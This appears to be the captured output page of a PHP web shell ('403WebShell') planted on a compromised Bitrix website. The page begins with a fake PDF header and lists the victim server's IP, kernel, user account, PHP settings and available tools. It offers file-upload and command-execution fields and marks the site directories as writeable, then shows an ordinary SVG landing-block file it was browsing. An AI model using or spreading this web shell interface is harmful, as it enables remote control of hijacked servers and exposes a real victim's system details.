%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.118.10.18
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/blocks/bitrix/26.6.separator_waves/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/blocks/bitrix/26.6.separator_waves/block.php
<section class="landing-block g-pt-0 g-pb-0 g-height-150--md g-height-70 g-fill-white--first g-fill-gray-light-v3--second g-my-minus-2">
	<svg class="g-width-100x g-height-100x" viewBox="0 0 3184 446" preserveAspectRatio="none" xmlns="http://www.w3.org/2000/svg">
		<path class='fill-first' d="M3184 257.647L3158.22 253.329C3028.5 232.456 2886.86 222.357 2733.29 223.032C2642.26 223.431 2551.78 228.592 2461.84 236.149C2426.54 236.549 2391.09 238.004 2355.34 240.275C2221 231.285 2068.99 226.286 1913.49 231.156C1723.42 237.109 1558.37 264.563 1391.63 286.417C1137.84 264.35 920.847 223.032 661.328 223.032C563.229 223.032 473.232 231.394 391.326 248.135L343.441 243.122C217.846 230.497 109.05 223.812 17.0527 223.07L0 223V0H3184V257.647Z"/>
		<path class='fill-second' d="M2733.29 223.032C2897.09 222.312 3047.33 233.851 3184 257.647V339.233C3184 338.771 2910.31 259.731 2582.38 239.042C2542.25 236.511 2502.17 235.647 2461.89 236.127C2551.82 228.59 2642.28 223.431 2733.29 223.032ZM1845.32 295.894C1568.49 310.033 1352.52 284.477 1144.23 259.829C986.552 241.17 833.274 223.032 661.328 223.032C559.757 223.032 466.872 231.996 382.674 249.926C452.603 251.103 528.079 254.504 609.102 260.128C675.002 264.702 743.206 270.305 813.746 276.1C1114.33 300.792 1457.33 328.97 1845.32 295.894Z"
			  opacity="0.35"/>
		<path class='fill-second' d="M2355 240.297C2220.73 231.276 2068.85 226.29 1913.49 231.156C1759.53 235.978 1621.99 254.907 1486.68 273.529C1400.94 285.329 1316.09 297.005 1228.53 304.892C1472.56 316.132 1739.31 314.555 2029.73 275.756C2143.31 260.583 2250.44 246.954 2355 240.297ZM413.43 250.578C249.63 232.193 111.82 223 0 223V274.754C106.985 254.341 244.795 246.283 413.43 250.578Z"
			  opacity="0.35"/>
		<path class='fill-second' d="M0 274.754C145.792 246.937 348.826 242.062 609.102 260.128C999.516 287.227 1470.77 350.429 2029.73 275.756C2226.59 249.458 2404.1 227.795 2582.38 239.042C2910.31 259.731 3184 338.771 3184 339.233V446H0V274.754Z"/>
	</svg>
</section>

Youez - 2016 - github.com/yon3zu
LinuXploit